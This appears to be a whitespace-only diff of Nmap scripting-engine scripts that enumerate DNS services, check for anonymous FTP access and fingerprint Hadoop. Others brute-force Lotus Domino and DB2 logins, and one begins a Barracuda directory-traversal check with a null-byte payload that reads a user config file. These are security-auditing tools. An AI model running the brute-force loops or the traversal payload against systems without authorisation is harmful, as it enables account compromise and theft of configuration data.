local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } ) local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
for host, port, prio, weight in parseSrvResponse(resp) do for host, port, prio, weight in parseSrvResponse(resp) do
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
target.add(host) target.add(host)
end end
local proto = query:sub(-3) local proto = query:sub(-3)
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host) tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
end end
end end
if ( #svc_result ~= 1 ) then if ( #svc_result ~= 1 ) then
table.insert(result, { name = name, tab.dump(svc_result) }) table.insert(result, { name = name, tab.dump(svc_result) })
end end
condvar "signal" condvar "signal"
end end
action = function(host) action = function(host)
local services = { local services = {
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} }, { name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} }, { name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} }, { name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} }, { name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
{ name = "LDAP", query = {"_ldap._tcp"} }, { name = "LDAP", query = {"_ldap._tcp"} },
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} }, { name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} }, { name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} }, { name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
} }
if ( not(checkFilter(services)) ) then if ( not(checkFilter(services)) ) then
return fail(("Invalid filter (%s) was supplied"):format(arg_filter)) return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
end end
local threads, result = {}, {} local threads, result = {}, {}
for name, queries in parseSvcList(services) do for name, queries in parseSvcList(services) do
if ( not(arg_filter) or 0 == #arg_filter or if ( not(arg_filter) or 0 == #arg_filter or
"all" == arg_filter or arg_filter == name ) then "all" == arg_filter or arg_filter == name ) then
local co = stdnse.new_thread(doQuery, name, queries, result) local co = stdnse.new_thread(doQuery, name, queries, result)
threads[co] = true threads[co] = true
end end
end end
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
repeat repeat
for t in pairs(threads) do for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until( next(threads) == nil ) until( next(threads) == nil )
table.sort(result, function(a,b) return a.name < b.name end) table.sort(result, function(a,b) return a.name < b.name end)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -41,128 +41,128 @@ local not_admins = {}
SocketPool = { SocketPool = {
new = function(self, max_sockets) new = function(self, max_sockets)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.max_sockets = max_sockets o.max_sockets = max_sockets
o.pool = {} o.pool = {}
return o return o
end, end,
getSocket = function(self, host, port) getSocket = function(self, host, port)
while(true) do while(true) do
for i=1, #self.pool do for i=1, #self.pool do
if ( not( self.pool[i].inuse ) ) then if ( not( self.pool[i].inuse ) ) then
self.pool[i].inuse = true self.pool[i].inuse = true
return self.pool[i].socket return self.pool[i].socket
end end
end end
if ( #self.pool < self.max_sockets ) then if ( #self.pool < self.max_sockets ) then
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status = socket:connect( host.ip, port.number, "tcp") local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then if ( status ) then
socket:reconnect_ssl() socket:reconnect_ssl()
end end
if ( status and socket ) then if ( status and socket ) then
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false}) table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
end end
end end
stdnse.sleep(1) stdnse.sleep(1)
end end
end, end,
releaseSocket = function( self, socket ) releaseSocket = function( self, socket )
for i=1, #self.pool do for i=1, #self.pool do
if( socket == self.pool[i].socket ) then if( socket == self.pool[i].socket ) then
self.pool[i].inuse = false self.pool[i].inuse = false
break break
end end
end end
end, end,
shutdown = function( self ) shutdown = function( self )
for i=1, #self.pool do for i=1, #self.pool do
self.pool[i].socket:close() self.pool[i].socket:close()
end end
end, end,
} }
Driver = Driver =
{ {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
o.sockpool = options o.sockpool = options
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = self.sockpool:getSocket( self.host, self.port ) self.socket = self.sockpool:getSocket( self.host, self.port )
if ( self.socket ) then if ( self.socket ) then
return true return true
else else
return false return false
end end
end, end,
--- Attempts to login to the Lotus Domino Console --- Attempts to login to the Lotus Domino Console
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local data = ("#UI %s,%s\n"):format(username,password) local data = ("#UI %s,%s\n"):format(username,password)
local status local status
if ( not_admins[username] ) then if ( not_admins[username] ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end end
status, data = self.socket:send( data ) status, data = self.socket:send( data )
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( data ) local err = brute.Error:new( data )
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end end
status, data = self.socket:receive_bytes(5) status, data = self.socket:receive_bytes(5)
if ( status and data:match("NOT_REG_ADMIN") ) then if ( status and data:match("NOT_REG_ADMIN") ) then
not_admins[username] = true not_admins[username] = true
elseif( status and data:match("VALID_USER") ) then elseif( status and data:match("VALID_USER") ) then
return true, brute.Account:new( username, password, creds.State.VALID) return true, brute.Account:new( username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.sockpool:releaseSocket( self.socket ) self.sockpool:releaseSocket( self.socket )
end, end,
} }
action = function(host, port) action = function(host, port)
local status, result local status, result
local pool = SocketPool:new(10) local pool = SocketPool:new(10)
local engine = brute.Engine:new(Driver, host, port, pool ) local engine = brute.Engine:new(Driver, host, port, pool )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
pool:shutdown() pool:shutdown()
return result return result
end end

View File

@@ -46,16 +46,16 @@ portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", {
-- @return username string -- @return username string
-- @return password string -- @return password string
local function new_usrpwd_iterator (usernames, passwords) local function new_usrpwd_iterator (usernames, passwords)
local function next_username_password () local function next_username_password ()
for username in usernames do for username in usernames do
for password in passwords do for password in passwords do
coroutine.yield(username, password) coroutine.yield(username, password)
end end
passwords("reset") passwords("reset")
end end
while true do coroutine.yield(nil, nil) end while true do coroutine.yield(nil, nil) end
end end
return coroutine.wrap(next_username_password) return coroutine.wrap(next_username_password)
end end
--- Iterates over the password list and guesses passwords --- Iterates over the password list and guesses passwords
@@ -66,29 +66,29 @@ end
-- @param creds an iterator producing username, password pairs -- @param creds an iterator producing username, password pairs
-- @param valid_accounts table in which to store found accounts -- @param valid_accounts table in which to store found accounts
doLogin = function( host, port, database, creds, valid_accounts ) doLogin = function( host, port, database, creds, valid_accounts )
local helper, status, response, passwords local helper, status, response, passwords
local condvar = nmap.condvar( valid_accounts ) local condvar = nmap.condvar( valid_accounts )
for username, password in creds do for username, password in creds do
-- Checks if a password was already discovered for this account -- Checks if a password was already discovered for this account
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
helper = drda.Helper:new() helper = drda.Helper:new()
helper:connect( host, port ) helper:connect( host, port )
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip ) stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
status, response = helper:login( database, username, password ) status, response = helper:login( database, username, password )
helper:close() helper:close()
if ( status ) then if ( status ) then
-- Add credentials for future drda scripts to use -- Add credentials for future drda scripts to use
if nmap.registry.db2users == nil then if nmap.registry.db2users == nil then
nmap.registry.db2users = {} nmap.registry.db2users = {}
end end
nmap.registry.db2users[username]=password nmap.registry.db2users[username]=password
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
end end
end end
end end
condvar("broadcast") condvar("broadcast")
end end
--- Checks if the supplied database exists --- Checks if the supplied database exists
@@ -98,18 +98,18 @@ end
-- @param database string containing the database name -- @param database string containing the database name
-- @return status true on success, false on failure -- @return status true on success, false on failure
isValidDb = function( host, port, database ) isValidDb = function( host, port, database )
local status, response local status, response
local helper = drda.Helper:new() local helper = drda.Helper:new()
helper:connect( host, port ) helper:connect( host, port )
-- Authenticate with a static probe account to see if the db is valid -- Authenticate with a static probe account to see if the db is valid
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" ) status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
helper:close() helper:close()
if ( not(status) and response:match("Login failed") ) then if ( not(status) and response:match("Login failed") ) then
return true return true
end end
return false return false
end end
--- Returns the amount of currenlty active threads --- Returns the amount of currenlty active threads
@@ -117,57 +117,57 @@ end
-- @param threads table containing the list of threads -- @param threads table containing the list of threads
-- @return count number containing the number of non-dead threads -- @return count number containing the number of non-dead threads
threadCount = function( threads ) threadCount = function( threads )
local count = 0 local count = 0
for thread in pairs(threads) do for thread in pairs(threads) do
if ( coroutine.status(thread) == "dead" ) then if ( coroutine.status(thread) == "dead" ) then
threads[thread] = nil threads[thread] = nil
else else
count = count + 1 count = count + 1
end end
end end
return count return count
end end
action = function( host, port ) action = function( host, port )
local result, response, status = {}, nil, nil local result, response, status = {}, nil, nil
local valid_accounts, threads = {}, {} local valid_accounts, threads = {}, {}
local usernames, passwords, creds local usernames, passwords, creds
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE" local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
local condvar = nmap.condvar( valid_accounts ) local condvar = nmap.condvar( valid_accounts )
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10 local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
-- Check if the DB specified is valid -- Check if the DB specified is valid
if( not(isValidDb(host, port, database)) ) then if( not(isValidDb(host, port, database)) ) then
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database) return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
end end
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if ( not(status) ) then if ( not(status) ) then
return "Failed to load usernames" return "Failed to load usernames"
end end
-- make sure we have a valid pw file -- make sure we have a valid pw file
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if ( not(status) ) then if ( not(status) ) then
return "Failed to load passwords" return "Failed to load passwords"
end end
creds = new_usrpwd_iterator( usernames, passwords ) creds = new_usrpwd_iterator( usernames, passwords )
stdnse.print_debug("Starting brute force with %d threads", max_threads ) stdnse.print_debug("Starting brute force with %d threads", max_threads )
for i=1,max_threads do for i=1,max_threads do
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts ) local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
threads[co] = true threads[co] = true
end end
-- wait for all threads to finnish running -- wait for all threads to finnish running
while threadCount(threads)>0 do while threadCount(threads)>0 do
condvar("wait") condvar("wait")
end end
return stdnse.format_output(true, valid_accounts) return stdnse.format_output(true, valid_accounts)
end end

View File

@@ -44,147 +44,147 @@ portrule = shortport.port_or_service(21, "ftp")
-- list sent. -- list sent.
-- --------------------- -- ---------------------
local function list(socket, target, max_lines) local function list(socket, target, max_lines)
local status, err local status, err
-- ask the server for a Passive Mode: it should give us a port to -- ask the server for a Passive Mode: it should give us a port to
-- listen to, where it will dump the directory listing -- listen to, where it will dump the directory listing
local buffer = stdnse.make_buffer(socket, "\r?\n") local buffer = stdnse.make_buffer(socket, "\r?\n")
status, err = socket:send("PASV\r\n") status, err = socket:send("PASV\r\n")
if not status then if not status then
return status, err return status, err
end end
local code, message = ftp.read_reply(buffer) local code, message = ftp.read_reply(buffer)
-- Compute the PASV port as given by the server -- Compute the PASV port as given by the server
-- The server should answer with something like -- The server should answer with something like
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp) -- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
-- (-- IP--,PORT) -- (-- IP--,PORT)
-- PORT is (hp x 256) + lp -- PORT is (hp x 256) + lp
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)") local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
if not high then if not high then
return nil, string.format("Can't parse PASV response: %q", message) return nil, string.format("Can't parse PASV response: %q", message)
end end
local pasv_port = high * 256 + low local pasv_port = high * 256 + low
-- Send the LIST command on the commands socket. "Fire and forget"; we -- Send the LIST command on the commands socket. "Fire and forget"; we
-- don't need to take care of the answer on this socket. -- don't need to take care of the answer on this socket.
status, err = socket:send("LIST\r\n") status, err = socket:send("LIST\r\n")
if not status then if not status then
return status, err return status, err
end end
local list_socket = nmap.new_socket() local list_socket = nmap.new_socket()
status, err = list_socket:connect(target, pasv_port, "tcp") status, err = list_socket:connect(target, pasv_port, "tcp")
if not status then if not status then
return status, err return status, err
end end
local listing = {} local listing = {}
while not max_lines or #listing < max_lines do while not max_lines or #listing < max_lines do
local status, data = list_socket:receive_buf("\r?\n", false) local status, data = list_socket:receive_buf("\r?\n", false)
if (not status and data == "EOF") or data == "" then if (not status and data == "EOF") or data == "" then
break break
end end
if not status then if not status then
return status, data return status, data
end end
listing[#listing + 1] = data listing[#listing + 1] = data
end end
return true, listing return true, listing
end end
--- Connects to the FTP server and checks if the server allows anonymous logins. --- Connects to the FTP server and checks if the server allows anonymous logins.
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local code, message local code, message
local err_catch = function() local err_catch = function()
socket:close() socket:close()
end end
local max_list = stdnse.get_script_args("ftp-anon.maxlist") local max_list = stdnse.get_script_args("ftp-anon.maxlist")
if not max_list then if not max_list then
if nmap.verbosity() == 0 then if nmap.verbosity() == 0 then
max_list = 20 max_list = 20
else else
max_list = nil max_list = nil
end end
else else
max_list = tonumber(max_list) max_list = tonumber(max_list)
if max_list < 0 then if max_list < 0 then
max_list = nil max_list = nil
end end
end end
local try = nmap.new_try(err_catch) local try = nmap.new_try(err_catch)
try(socket:connect(host, port)) try(socket:connect(host, port))
local buffer = stdnse.make_buffer(socket, "\r?\n") local buffer = stdnse.make_buffer(socket, "\r?\n")
-- Read banner. -- Read banner.
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
if code and code == 220 then if code and code == 220 then
try(socket:send("USER anonymous\r\n")) try(socket:send("USER anonymous\r\n"))
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
if code == 331 then if code == 331 then
-- 331: User name okay, need password. -- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n")) try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
end end
if code == 332 then if code == 332 then
-- 332: Need account for login. -- 332: Need account for login.
-- This is rarely seen but may come in response to a -- This is rarely seen but may come in response to a
-- USER or PASS command. As we're doing this -- USER or PASS command. As we're doing this
-- anonymously, send back a blank ACCT. -- anonymously, send back a blank ACCT.
try(socket:send("ACCT\r\n")) try(socket:send("ACCT\r\n"))
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
if code == 331 then if code == 331 then
-- 331: User name okay, need password. -- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n")) try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
end end
end end
end end
if code and code >= 200 and code < 300 then if code and code >= 200 and code < 300 then
-- We are primarily looking for 230: User logged in, proceed. -- We are primarily looking for 230: User logged in, proceed.
else else
if not code then if not code then
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message) stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
elseif code == 421 or code == 530 then elseif code == 421 or code == 530 then
-- Don't log known error codes. -- Don't log known error codes.
-- 421: Service not available, closing control connection. -- 421: Service not available, closing control connection.
-- 530: Not logged in. -- 530: Not logged in.
else else
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message) stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
end end
return nil return nil
end end
local result = {} local result = {}
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")" result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
if not max_list or max_list > 0 then if not max_list or max_list > 0 then
local status, listing = list(socket, host, max_list) local status, listing = list(socket, host, max_list)
socket:close() socket:close()
if not status then if not status then
result[#result + 1] = "Can't get directory listing: " .. listing result[#result + 1] = "Can't get directory listing: " .. listing
else else
for _, item in ipairs(listing) do for _, item in ipairs(listing) do
-- Just a quick passive check on user rights. -- Just a quick passive check on user rights.
if string.match(item, "^[d-].......w.") then if string.match(item, "^[d-].......w.") then
item = item .. " [NSE: writeable]" item = item .. " [NSE: writeable]"
end end
result[#result + 1] = item result[#result + 1] = item
end end
if max_list and #listing == max_list then if max_list and #listing == max_list then
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME) result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
end end
end end
end end
return table.concat(result, "\n") return table.concat(result, "\n")
end end

View File

@@ -53,116 +53,116 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port) return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
get_userhistory = function( host, port ) get_userhistory = function( host, port )
local results = {} local results = {}
local uri = "/jobhistory.jsp?pageno=-1&search=" local uri = "/jobhistory.jsp?pageno=-1&search="
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for line in string.gmatch(body, "[^\n]+") do for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("job_[%d_]+") then if line:match("job_[%d_]+") then
local user = line:match("<td>([^][<>]+)</td></tr>") local user = line:match("<td>([^][<>]+)</td></tr>")
local job_time = line:match("</td><td>([^][<]+)") local job_time = line:match("</td><td>([^][<]+)")
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time)) stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
table.insert( results, ("User: %s (%s)"):format(user,job_time)) table.insert( results, ("User: %s (%s)"):format(user,job_time))
end end
end end
end end
return results return results
end end
get_tasktrackers = function( host, port ) get_tasktrackers = function( host, port )
local results = {} local results = {}
local uri = "/machines.jsp?type=active" local uri = "/machines.jsp?type=active"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
for line in string.gmatch(response['body'], "[^\n]+") do for line in string.gmatch(response['body'], "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker") local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker)) stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
table.insert( results, tasktracker) table.insert( results, tasktracker)
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if tasktracker:match("([%w%.]+)") then if tasktracker:match("([%w%.]+)") then
local newtarget = tasktracker:match("([%w%.]+)") local newtarget = tasktracker:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
end end
end end
return results return results
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/jobtracker.jsp" local uri = "/jobtracker.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
if response['body']:match("State:</b>%s*([^][<]+)") then if response['body']:match("State:</b>%s*([^][<]+)") then
local state = response['body']:match("State:</b>%s*([^][<]+)") local state = response['body']:match("State:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state)) stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
table.insert(result, ("State: %s"):format(state)) table.insert(result, ("State: %s"):format(state))
end end
if response['body']:match("Started:</b>%s*([^][<]+)") then if response['body']:match("Started:</b>%s*([^][<]+)") then
local started = response['body']:match("Started:</b>%s*([^][<]+)") local started = response['body']:match("Started:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started)) stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
table.insert(result, ("Started: %s"):format(started)) table.insert(result, ("Started: %s"):format(started))
end end
if response['body']:match("Version:</b>%s*([^][<]+)") then if response['body']:match("Version:</b>%s*([^][<]+)") then
local version = response['body']:match("Version:</b>%s*([^][<]+)") local version = response['body']:match("Version:</b>%s*([^][<]+)")
local versionNo = version:match("([^][,]+)") local versionNo = version:match("([^][,]+)")
local versionHash = version:match("[^][,]+%s+(%w+)") local versionHash = version:match("[^][,]+%s+(%w+)")
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash)) stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash)) table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
port.version.version = versionNo port.version.version = versionNo
end end
if response['body']:match("Compiled:</b>%s*([^][<]+)") then if response['body']:match("Compiled:</b>%s*([^][<]+)") then
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ") local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled)) table.insert(result, ("Compiled: %s"):format(compiled))
end end
if response['body']:match("Identifier:</b>%s*([^][<]+)") then if response['body']:match("Identifier:</b>%s*([^][<]+)") then
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)") local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier)) stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
table.insert(result, ("Identifier: %s"):format(identifier)) table.insert(result, ("Identifier: %s"):format(identifier))
end end
if response['body']:match("([%w/]+)\">Log<") then if response['body']:match("([%w/]+)\">Log<") then
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<") local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles)) stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
table.insert(result, ("Log Files: %s"):format(logfiles)) table.insert(result, ("Log Files: %s"):format(logfiles))
end end
local tasktrackers = get_tasktrackers (host, port) local tasktrackers = get_tasktrackers (host, port)
if next(tasktrackers) then if next(tasktrackers) then
table.insert(result, "Tasktrackers: ") table.insert(result, "Tasktrackers: ")
table.insert(result, tasktrackers) table.insert(result, tasktrackers)
end end
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
local userhistory = get_userhistory (host, port) local userhistory = get_userhistory (host, port)
table.insert(result, "Userhistory: ") table.insert(result, "Userhistory: ")
table.insert(result, userhistory) table.insert(result, userhistory)
end end
if #result > 0 then if #result > 0 then
port.version.name = "hadoop-jobtracker" port.version.name = "hadoop-jobtracker"
port.version.product = "Apache Hadoop" port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -27,10 +27,10 @@ http://www.exploit-db.com/exploits/15130/
-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host> -- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
-- --
-- @args http-max-cache-size -- @args http-max-cache-size
-- Set max cache size. The default value is 100,000. -- Set max cache size. The default value is 100,000.
-- Barracuda config files vary in size mostly due to the number -- Barracuda config files vary in size mostly due to the number
-- of users. Using a max cache size of 5,000,000 bytes should be -- of users. Using a max cache size of 5,000,000 bytes should be
-- enough for config files containing up to 5,000 users. -- enough for config files containing up to 5,000 users.
-- --
-- @output -- @output
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
@@ -85,100 +85,100 @@ portrule = shortport.port_or_service (8000, "barracuda", {"tcp"})
action = function(host, port) action = function(host, port)
local result = {} local result = {}
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"} local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00" local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
local user_count = 0 local user_count = 0
local config_file = "" local config_file = ""
-- Loop through vulnerable files -- Loop through vulnerable files
